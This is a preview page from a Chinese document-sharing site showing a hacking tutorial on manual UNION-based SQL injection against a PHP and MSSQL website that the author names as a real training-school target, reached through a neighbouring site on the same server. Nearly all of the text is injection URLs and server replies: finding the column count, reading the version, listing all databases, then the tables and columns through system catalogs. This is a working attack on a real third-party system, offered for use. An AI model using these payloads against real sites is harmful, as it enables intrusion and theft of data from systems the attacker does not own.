最難又是最簡(jiǎn)單的注入-phpmssql手工_第1頁
最難又是最簡(jiǎn)單的注入-phpmssql手工_第2頁
最難又是最簡(jiǎn)單的注入-phpmssql手工_第3頁
最難又是最簡(jiǎn)單的注入-phpmssql手工_第4頁
已閱讀5頁,還剩6頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、文章是我重新排的+截圖By:YoCo Smart參考的是小默s blog的文章不知道是不是他原創(chuàng),但是感謝“默默許愿消失了”下面的注入語句很長(zhǎng),要注意select后面的是id還是name還是其他。其實(shí)很簡(jiǎn)單,就是注入語句相當(dāng)長(zhǎng)。其實(shí),我以早就會(huì)這種方式,只不過溫習(xí)了一下。轉(zhuǎn)載請(qǐng)注明:來自習(xí)科信息技術(shù) - 黑客作戰(zhàn)營(yíng)、 HYPERLINK / t /_blank 目標(biāo):北大青鳥濟(jì)南方法:旁注旁注目標(biāo): HYPERLINK / t /_blank /找到一個(gè)注入點(diǎn): HYPERLINK /zhengheng/performance/sub.php?table=performance&id=12 t

2、 /_blank /zhengheng/performance/sub.php?table=performance&id=12后面分別加and 1=1和and 1=2 HYPERLINK /zhengheng/performance/sub.php?table=performance&id=12+and+1=1 t /_blank /zhengheng/performance/sub.php?table=performance&id=12+and+1=1返回正常頁面。 HYPERLINK /zhengheng/performance/sub.php?table=performance&id=1

3、2+and+1=2 t /_blank /zhengheng/performance/sub.php?table=performance&id=12+and+1=2返回錯(cuò)誤頁面。Warning: main(): PropGet() failed: 發(fā)生意外。Source: ADODB.FieldDescription: BOF 或 EOF 中有一個(gè)是“真”,或者當(dāng)前的記錄已被刪除,所需的操作要求一個(gè)當(dāng)前的記錄。 ind:program filesmagic winmailserverwebmailwwwzhenghengperformancesub.phpon line42從回顯看,這好像是一

4、個(gè)php+MSSQL環(huán)境的網(wǎng)站。猜字段數(shù):/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1回顯如下:Warning: main(): Invoke() failed: 發(fā)生意外。Source: Microsoft OLE DB Provider for SQL ServerDescription: 包含 UNION 運(yùn)算符的 SQL 語句中的所有查詢都必須在目標(biāo)列表中具有相同數(shù)目的表達(dá)式。 ind:program filesmagic winmailserverwebmailwwwzhen

5、ghengperformancesub.phpon line41確實(shí)是MSSQL微軟的數(shù)據(jù)庫。猜到3個(gè)/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+select+1,1,1突然出現(xiàn):Warning: main(): Invoke() failed: 發(fā)生意外。Source: Microsoft OLE DB Provider for SQL ServerDescription: 操作數(shù)類型沖突: ntext 與 int 不兼容 ind:program filesmagic winmailserverwe

6、bmailwwwzhenghengperformancesub.phpon line41上網(wǎng)上搜了一下,說什么的都有,結(jié)果都不管用。突然想起來,習(xí)科有個(gè)“小”字輩的成員說過,用union all代替union,用null代替數(shù)字段數(shù)的數(shù)字,等出來數(shù)目了,再慢慢用數(shù)字替換null,能不能出來顯示位看人品,如果人品不好,再另想辦法,但是這是最快的方法了。/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null這樣,回顯又成了,包含 UNION 運(yùn)算符的 SQL 語句中

7、的所有查詢都必須在目標(biāo)列表中具有相同數(shù)目的表達(dá)式那么繼續(xù)加null,到了:/zhengheng/performance/sub.php?table=performance&id=12+and+1=1+union+all+select+null,null,null,null四個(gè)的時(shí)候,終于又出來正常的頁面了。下面把a(bǔ)nd 1=1換成and 1=2,把null挨個(gè)換成數(shù)字,出錯(cuò)的話,換回null,挨個(gè)換。這樣就得到:/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,2,null,3出來

8、一個(gè)顯示位:2注意,下一步,和php+MySql的注入不同,下一步是爆出庫名??纯从袔讉€(gè)數(shù)據(jù)庫。不過我們先看看服務(wù)器數(shù)據(jù)庫的版本:顯示位2換成version/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,version,null,3得到:Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal

9、 Edition on Windows NT 5.2 (Build 3790: Service Pack 1)是MSSQL2000。好了,正式開始報(bào)庫名(低版本IIS會(huì)被暴庫,MSSQL注入可以爆庫名,微軟真是悲劇。)顯示位2換成:db_name(),查看當(dāng)前庫名:/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,db_name(),null,3得到庫名是:zhengheng然后通過數(shù)據(jù)庫的id獲得數(shù)據(jù)庫的名稱:/zhengheng/performance/sub.php?tabl

10、e=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=1-依然是and 1=2,2號(hào)顯示位換成name,顯示位字段數(shù)后面加上“from master.dbo.sysdatabases”,然后通過where選擇dbid。上面的是dbid=1的數(shù)據(jù)庫,庫名就是:master/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3

11、+from+master.dbo.sysdatabases+where+dbid=2-第二個(gè)數(shù)據(jù)庫名:tempdb/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=3-第三個(gè)數(shù)據(jù)庫名:model/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+

12、from+master.dbo.sysdatabases+where+dbid=4-第四個(gè)數(shù)據(jù)庫名:msdb/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=5-第五個(gè)數(shù)據(jù)庫名:pubs/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from

13、+master.dbo.sysdatabases+where+dbid=6-第六個(gè)數(shù)據(jù)庫名:Northwind/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=7-第七個(gè)數(shù)據(jù)庫名:StrongCRM/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,

14、3+from+master.dbo.sysdatabases+where+dbid=8-第八個(gè)數(shù)據(jù)庫名:handson/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=9-第九個(gè)數(shù)據(jù)庫(當(dāng)前數(shù)據(jù)庫)名zhengheng/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,

15、name,null,3+from+master.dbo.sysdatabases+where+dbid=10-第十個(gè)數(shù)據(jù)庫名:tjlyweb2/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=11-第十一個(gè)數(shù)據(jù)庫名:tjtourstat到了第12個(gè)/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+unio

16、n+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+dbid=12-回顯:Warning: main(): PropGet() failed: 發(fā)生意外。 Source: ADODB.Field Description: BOF 或 EOF 中有一個(gè)是“真”,或者當(dāng)前的記錄已被刪除,所需的操作要求一個(gè)當(dāng)前的記錄。 in d:program filesmagic winmailserverwebmailwwwzhenghengperformancesub.php on line 41dbid換成12到20都提示這個(gè),可能服務(wù)

17、器上就只有上面的11個(gè)數(shù)據(jù)庫了。下面依然通過查詢id獲得名稱,不過這次不是數(shù)據(jù)庫名,而是表名。我們以當(dāng)前數(shù)據(jù)庫 zhengheng 為例,查詢表的名字比較簡(jiǎn)單,但是語句比較長(zhǎng):/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from Northwind.dbo.sysobjects wh

18、ere xtype=CHAR(85)-不多解釋,就是sql語句,其中兩個(gè)地方要填寫數(shù)據(jù)庫名,格式是 數(shù)據(jù)庫名.dbo.sysobjects,總過兩個(gè),要是一樣的。如果不是當(dāng)前的數(shù)據(jù)庫,這就成了跨庫查詢,可能有的虛擬主機(jī)設(shè)置權(quán)限不讓跨庫查詢。這里查的是:Northwind.dbo.sysobjects括號(hào)里的最后一句: (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(85)這里面變化top XX name 里面的數(shù)字即可,這個(gè)XX是表的序號(hào)。這樣從top 1 一直查到 top 12,列出的表名稱如下:Produc

19、tsOrder DetailsCustomerCustomerDemoCustomerDemographicsRegionTerritoriesEmployeeTerritoriesEmployeesCategoriesCustomersShippersSuppliers再下面是查字段名了。查詢字段名共分兩步,1、獲得表段的總序號(hào),注意是總序號(hào),跟id不同,而且要區(qū)分好字段和表段2、根據(jù)表的序號(hào)一個(gè)一個(gè)列出字段的名字第一步:/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,id,n

20、ull,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85)-這里仍然是變化top XX,前面有幾個(gè)XX,這里就可以有幾個(gè)XX。注意:不要以為上一步多余,字段的名字是必須知道的,光靠序號(hào)和id,后面是無法繼續(xù)的/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,

21、id,null,3+from+Northwind.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=CHAR(85)-獲得序號(hào)是:2073058421這個(gè)序號(hào)要記好了,把這個(gè)序號(hào)復(fù)制下:/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.sysco

22、lumns where ID=2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where ID=2073058421)-注意看了,上面select的是id,這里是name,from后面的數(shù)據(jù)庫我就不說了,句子中有兩個(gè)數(shù)據(jù)庫名字,同樣也有兩個(gè)where id =這個(gè)id等于就是前面步驟出來的 總序號(hào),top這個(gè),跟之前列表名的top不一樣。前面是列表名,這里是列字名。表名和字名不是一回事,數(shù)量自然是沒法比的。所以這里top1到topXXX列出來,就能列出id為2073058421即Northw

23、ind數(shù)據(jù)庫的Products表段里面的字的名字了。這個(gè)邏輯一定要搞清。/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,name,null,3+from Northwind.dbo.syscolumns where ID=2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where ID=2073058421)-第一個(gè)字段是city,第二個(gè)是CompanyName。我們主要查的是管理員的表和字,這里就不繼續(xù)查下去了不過查來查去,我還是沒找到管理員的表在哪里。根據(jù)前面得到的表名和字名,查詢字段里的內(nèi)容即可:/zhengheng/performance/sub.php?table=performance&id=12+and+1=2+union+all+select+1,title,null,3+from+zhengheng.landed-我查的跟上面列出來的

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論